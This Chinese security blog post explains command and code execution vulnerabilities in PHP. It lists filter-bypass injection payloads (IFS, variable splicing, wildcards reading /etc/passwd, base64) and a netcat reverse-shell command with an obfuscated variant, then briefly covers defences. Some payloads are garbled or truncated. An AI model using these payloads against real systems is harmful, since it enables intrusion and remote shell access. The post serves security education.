查看ip命令_命令执行与代码执行(Web漏洞及防御)

b429a0f1e41ea8d65381aa96a0f134a5.png

命令执行漏洞

应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或函数的参数被用户控制,就有可能通过命令连接符("&、|、||")将恶意命令拼接到正常的函数中,从而执行系统命令!

29613a3e454a9023e80fdced162e79cf.png

代码执行漏洞

应用程序提供了一些可以将字符串作为代码执行的函数,如果对这些函数的参数控制不严格,就有可能会被攻击者利用,执行恶意代码!

PHP中常见的命令执行函数

bb6761e1f1de8c66b5b94c98781013d9.png

PHP中常见的代码执行函数

6f26a2d7974569235629fbc584c0412b.png
9cc22c1e5879f4e621bd246ad926d320.png

注意:具体如何使用及实例,请参见之前的文章!

PHP危险代码

命令执行绕过

开发人员在开发的过程中,为了避免命令执行漏洞,可能会过滤一些命令!

${IFS}绕过:是shell的特殊环境变量,是Linux下的内部域分隔符,存储的值可以是空格、制表符、换行符或者其他自定义符号!

?ip=192.168.1.88;cat ${IFS} test.php// 可以查看test.php的源码!

$IFS$9绕过:用于空格过滤

?ip=192.168.1.88;cat ${IFS}$9 test.php// 可以查看test.php的源码!

制表符绕过

制表符的URL编码:%09,通过%09来代替空格,绕过空格过滤!

?ip=192.168.1.88;cat$09test.php// 可以查看test.php的源码!

{}绕过

绕过空格过滤

?ip=192.168.1.88;{cat$09test.php}// 可以查看test.php的源码!

绕过cat命令过滤

?ip=192.168.1.88;cat

变量拼接绕过

Linux支持变量赋值,通过变量拼接绕过!

?ip=192.168.1.88;a=c;b=at;$a$b test.php// 可以查看test.php的源码!

空变量绕过

?ip=192.168.1.88;ca${z}t test.php// 可以查看test.php的源码!

系统变量绕过

${SHELLOPTS}是系统变量,利用系统变量的字符拼接绕过过滤!

136885fd4a5eb8937c9d69db13709c2e.png
?ip=192.168.1.88;${SHELLOPTS:3:1}at test.php// 可以查看test.php的源码!

绕过

?ip=192.168.1.88;ca test.php// 可以查看test.php的源码!

通配符绕过

*,?、[]

比如要查看/etc/passwd文件

cat /???/???sw?

shell反弹绕过

/bin/nc 192.168.1.88 6666 -e /bin/bash
192.168.1.88 转换为十进制:192x256的3次方+168x256的二次方+1x256+88x1=3232235864
/b??/?c 3232235864 8888 -e /???/b??h

Base64编码绕过

利用系统函数base64对命令进行Base64编码

// id命名对其进行Base64编码:aWQ=解码:base64 -d
`echo "aWQ=" | base64 -d`

expr和awk绕过

通过命令从其他文件中提取字符进行命令构造

test.txt的内容为:

tonywenxin

获取test.txt中的t字母:

expr substr $(awk NR=1 test) 1 1 // 1:位置(索引从1开始的) 1:个数
6e9beec43b8c4e6b850d4e8a9275ae95.png

无回显的命令执行

存在命令指定漏洞,并且执行此命名没有回显,可以通过shell反弹的方式将shell反弹到vps上,然后通过vps执行命令。如果无法反弹shell,也可以通过DNS管道解析的方式获取命令的执行结果!

2ba781e0531e578261e1426fa6251c0e.png
8803de178a011940e244c3c2df661c87.png
6b5d28e7016d1ac1377e031e431a71ff.png
18750f32f7eaab701126114979878e3e.png

命令执行漏洞防御

服务器配置修复

通过PHP配置文件中的disable_functions禁用敏感函数来修复命令执行漏洞!

函数过滤

escapeshellarg():把字符串转码为可以在shell命令里使用的参数,以过滤命令中的参数!

escapeshellcmd():对shell元字符进行转义,过滤命令!

代码执行漏洞防御

1b0d0acf21ea2dfbc87a7a12f7625e17.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值